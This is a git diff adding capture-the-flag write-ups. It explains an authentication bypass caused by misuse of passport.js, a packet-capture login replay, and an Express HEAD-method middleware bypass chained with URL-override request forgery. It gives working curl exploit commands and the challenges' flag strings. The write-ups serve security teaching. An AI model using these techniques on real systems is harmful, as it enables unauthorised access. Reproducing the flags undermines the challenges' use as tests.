require('passport') + +function localAuthenticator(req, res, next) { + passport.authenticate('local', { session: false }, function (err, user, info) { + if (err) { + return res.status(401).json({ + "error": err.message + }); + } + next(); + })(req, res, next) +} + +module.exports = { + localAuthenticator, +} +``` + +- It seems like the application is using the `passport` library for authentication. Let's take a look at the **localStrategy (Configuration)** of `passport`, which is used to check whether the credentials are correct: + +```javascript +//initLocalStrategy.js + + passport.use(new LocalStrategy( + async function (username, password, done) { + const user = await User.findOne({ where: { username } }); + if (user !== null && bcrypt.compareSync(password, user.password)) { + if (user.username === 'gru_felonius' && bcrypt.compareSync(password, user.password)) { + return done(null, user); + } + return done(new Error('Only Gru is allowed!')); + } + return done(new Error('Invalid credentials')); + } + )); +``` + +- Now when reading through the documentation for the localStrategy, one particular paragraph caught our attention regarding the `return` statements which tell `authenticate` whether the login was successful: + +``` +Note that it is important to distinguish the two failure cases that can occur. The latter is a server exception, in which err is set to a non-null value. Authentication failures are natural conditions, in which the server is operating normally. Ensure that err remains null, and use the final argument to pass additional details. +``` + +- In this case, `new Error('Invalid credentials')` is clearly a **non-null value**, the correct way to raise an error should have been something like `return done(null, false, { message: 'Invalid credentials' });` + +- Hence, since the return is **always a non-null value**, **anything passed as the password and username** (as long as they are set), will always **result in a login and give us the flag** + +Flag: ```govtech-csg{m!sS1nG_cR3DeN+!@1s}``` + +## Solution 3 (Mobile) +### Interesting mobile challenge +- After attempting the mobile challenge Network?, we see that there is an interesting part of the decompiled Java source code for that activity. +```java +public String f2943e = "yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg"; + +public String f2944f = "41061"; + +public String f2945g = ("http://" + this.f2943e + ":" + this.f2944f + "/api/login"); +``` +*(`sg.gov.tech.ctf.mobile.Admin.NetworkActivity.java`)* +- The decompiled source code indicates that the result of a web request made to the same API server in this challenge is outputted to log. +```java +Log.v("rht", "SERVER REPLIED:"); +for (String line : response) { + Log.v("rht", "Line : " + line); +} +``` +*(`sg.gov.tech.ctf.mobile.Admin.NetworkActivity.java`)* +- However, instead of listening and getting the information using `logcat` on Android, we decided to take another approach that is more related to web. + +### Packets? Packets! +- It is common knowledge that making a network request over the Internet will lead to packets being sent from the client to server and vice-versa. +- We will capture the packets sent to the server on Android using a tool called "Packet Capture" +- After downloading the application, we start listening for packets from the KoroVax application login page. +![](image3.jpg) + +### Head of headers +- Upon going to the login page in the mobile application, we see that there are packets successfully captured. +![](image4.jpg) +- The flag of our challenge is also found within the packet capture, ```govtech-csg{m!sS1nG_cR3DeN+!@1s}``` +![](image5.jpg) +- Looking at the request, we see that there are some interesting headers being sent, notably the `username` and `password` header. +- This likely means that the mobile application is able to pass the authentication through these headers, and we verify our hypothesis by make a similar request with random data. +- Command: `curl -X POST http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41061/api/login -H "username: GOVTECH" -H "password: CSG"` +- Not to our surpise, it worked! + +Flag: ```govtech-csg{m!sS1nG_cR3DeN+!@1s}``` + +## Learning objectives +After this challenge, we have gotten a few learning points: +- Always look at challenges from different angles, such as this challenge which had multiple solutions and even unintended solutions. +- Sometimes, the developer might not have noticed that there would be more than one way to gain access to the program +- Don't be afraid to try multiple different ways, as you might never know which would work! diff --git a/STACK the Flags 2020/Mitsuha/Web/2. Logged In/image0.png b/STACK the Flags 2020/Mitsuha/Web/2. Logged In/image0.png new file mode 100644 index 0000000..01e14de Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/Web/2. Logged In/image0.png differ diff --git a/STACK the Flags 2020/Mitsuha/Web/2. Logged In/image1.png b/STACK the Flags 2020/Mitsuha/Web/2. Logged In/image1.png new file mode 100644 index 0000000..c291ca5 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/Web/2. Logged In/image1.png differ diff --git a/STACK the Flags 2020/Mitsuha/Web/2. Logged In/image2.png b/STACK the Flags 2020/Mitsuha/Web/2. Logged In/image2.png new file mode 100644 index 0000000..d6cc23e Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/Web/2. Logged In/image2.png differ diff --git a/STACK the Flags 2020/Mitsuha/Web/2. Logged In/image3.jpg b/STACK the Flags 2020/Mitsuha/Web/2. Logged In/image3.jpg new file mode 100644 index 0000000..7ecc807 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/Web/2. Logged In/image3.jpg differ diff --git a/STACK the Flags 2020/Mitsuha/Web/2. Logged In/image4.jpg b/STACK the Flags 2020/Mitsuha/Web/2. Logged In/image4.jpg new file mode 100644 index 0000000..9d4a18c Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/Web/2. Logged In/image4.jpg differ diff --git a/STACK the Flags 2020/Mitsuha/Web/2. Logged In/image5.jpg b/STACK the Flags 2020/Mitsuha/Web/2. Logged In/image5.jpg new file mode 100644 index 0000000..431e053 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/Web/2. Logged In/image5.jpg differ diff --git a/STACK the Flags 2020/Mitsuha/Web/6. Breaking Free/README.md b/STACK the Flags 2020/Mitsuha/Web/6. Breaking Free/README.md new file mode 100644 index 0000000..5438819 --- /dev/null +++ b/STACK the Flags 2020/Mitsuha/Web/6. Breaking Free/README.md @@ -0,0 +1,128 @@ +# Breaking Free +*Our agents managed to obtain the source code from the C2 server that COViD's bots used to register upon infecting its victim. Can you bypass the checks to retrieve more information from the C2 Server?* + +*[C2 Server](http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41051/)* + +### Analysing the challenge +- This seems to be another API challenge where you will need to send malicious requests to the server. +- The source code of the server is as shown, as provided by the challenge: +```js +const express = require('express'); +const bodyParser = require('body-parser'); +const axios = require('axios'); +const app = express(); +const router = express.Router(); +const COVID_SECRET = process.env.COVID_SECRET; +const COVID_BOT_ID_REGEX = /^[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}$/g; +const Connection = require("./db-controller"); +const dbController = new Connection(); +const COVID_BACKEND = "web_challenge_5_dummy" + +app.use(bodyParser.json()); +app.use(bodyParser.urlencoded({ extended: false })); + +//Validates requests before we allow them to hit our endpoint +router.use("/register-covid-bot", (req, res, next) => { + var invalidRequest = true; + if (req.method === "GET") { + if (req.query.COVID_SECRET && req.query.COVID_SECRET === COVID_SECRET) { + invalidRequest = false; + } + } else {//Handle POST + let covidBotID = req.headers['x-covid-bot'] + if (covidBotID && covidBotID.match(COVID_BOT_ID_REGEX)) { + invalidRequest = false; + } + } + + if (invalidRequest) { + res.status(404).send('Not found'); + } else { + next(); + } + +}); + +//registers UUID associated with covid bot to database +router.get("/register-covid-bot", (req, res) => { + let { newID } = req.query; + + if (newID.match(COVID_BOT_ID_REGEX)) { + //We enroll a maximum of 100 UUID at any time!! + dbController.addBotID(newID).then(success => { + res.send({ + "success": success + }); + }); + } + +}); + +//Change a known registered UUID +router.post("/register-covid-bot", (req, res) => { + let payload = { + url: COVID_BACKEND, + oldBotID: req.headers['x-covid-bot'], + ...req.body + }; + if (payload.newBotID && payload.newBotID.match(COVID_BOT_ID_REGEX)) { + dbController.changeBotID(payload.oldBotID, payload.newBotID).then(success => { + if (success) { + fetchResource(payload).then(httpResult => { + res.send({ "success": success, "covid-bot-data": httpResult.data }); + }) + + + } else { + res.send({ "success": success }); + } + }); + } else { + res.send({ "success": false }); + } + +}); + +async function fetchResource(payload) { + //TODO: fix dev routing at backend http://web_challenge_5_dummy/flag/42 + let result = await axios.get(`http://${payload.url}/${payload.newBotID}`).catch(err => { return { data: { "error": true } } }); + return result; +} + +app.use("/", router); +``` +- A simple look at the code tells us that the comments will come in handy later on in the challenge (the TODO). +- We see that there are 2 handlers for both a GET request and a POST request. +- There is a "security" middleware (a middleware is a function that requests have to pass through before it can continue to be processed) which checks for either the secret or a valid bot ID. + +### Middleware Minecraft +- Looking at the style and pattern of the UUID, it is actually a v4 UUID (coincidentally it also resembles a Minecraft account UUID). +```js +const COVID_BOT_ID_REGEX = /^[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}$/g; +// sample valid UUID: 747eb9e6-637b-4641-a058-835d5f7bbadc +``` +- Since there will almost be no way to obtain the secret and we do not have any known bot IDs, we have to look into other ways to create our own bot ID. +- To create a bot ID, we have to get the request to be recognised as a GET request and pass the middleware secret too. +- Since the latter is highly impossible, we look into spoofing the request. +- Browsing the source code (or the [documentation](https://expressjs.com/en/api.html#router.METHOD) for those not well-versed with javascript), we find out this interesting line of code [over here](https://github.com/expressjs/express/blob/master/lib/router/route.js#L65). +- We also find a corresponding issue created at GitHub [here](https://github.com/expressjs/expressjs.com/issues/748). +- So all we need to do is to make a HEAD request to the server with our own bot ID as query and header (to pass middleware check)! +- Command: `$ curl -X HEAD "http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41051/register-covid-bot?newID=747eb9e6-637b-4641-a058-835d5f7bbadc" -H "x-covid-bot: 747eb9e6-637b-4641-a058-835d5f7bbadc"` +- The response will have a content length of 16, which presumably means `{"success":true}` and we are ready to do the next step! + +### Dev for dummies +- We see that if we make a POST request to `/register-covid-bot` with our bot ID as payload, the server will make a backend request to the payload URL (`web_challenge_5_dummy`), and then proceed to output the response payload. +- The url is formed by concatenating the url and the bot ID: ```axios.get(`http://${payload.url}/${payload.newBotID}`)``` +- So looking at that TODO comment line, we know that we simply have to make request to `web_challenge_5_dummy/flag/42`, but how do we do so with the extra bot ID at the back? +- We will need to use the fragment sign `#` to append the bot ID as a fragment instead and won't be processed by the backend server. +- This can be possible as the developer used the spread operator for the request body, meaning that any request sent with additional keys will replace the existing keys, in which our case would be the `url` key of the payload object. +- Hence, we sent this command to the server with another UUID: `curl -X POST http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41051/register-covid-bot -H "x-covid-bot: 747eb9e6-637b-4641-a058-835d5f7bbadc" -H "Content-Type: application/json" -d '{"url":"web_challenge_5_dummy/flag/42#","newBotID":"2b08c880-f540-4485-975a-e935de95595c"}'` +- Response: `{"success":true,"covid-bot-data":{"flag":"govtech-csg{ReQu3$t_h34D_0R_G3T?}"}}` + +### Flag! (Hurray!) +```govtech-csg{ReQu3$t_h34D_0R_G3T?}``` + +### Learning Outcomes +- Scrutinize the code provided carefully in web challenges, there are many hints and clues hidden in the challenge (such as using `req.method` to check the method type, and the TODO comment) +- This challenge also does require some knowledge on HTTP fragments, as using a GET query (`?`) will not work to hide the bot ID and solve the challenge. +- Some people might have thought that the `web_challenge_5_dummy` was not a valid host for the challenge, and instead went ahead to try to find the actual backend server, which was not intended by the challenge. Most server dynamic variables related to the challenge will be stored in the environment (e.g. `process.env`, the COVID_SECRET for example). Hence, there is no need to find the actual backend server url.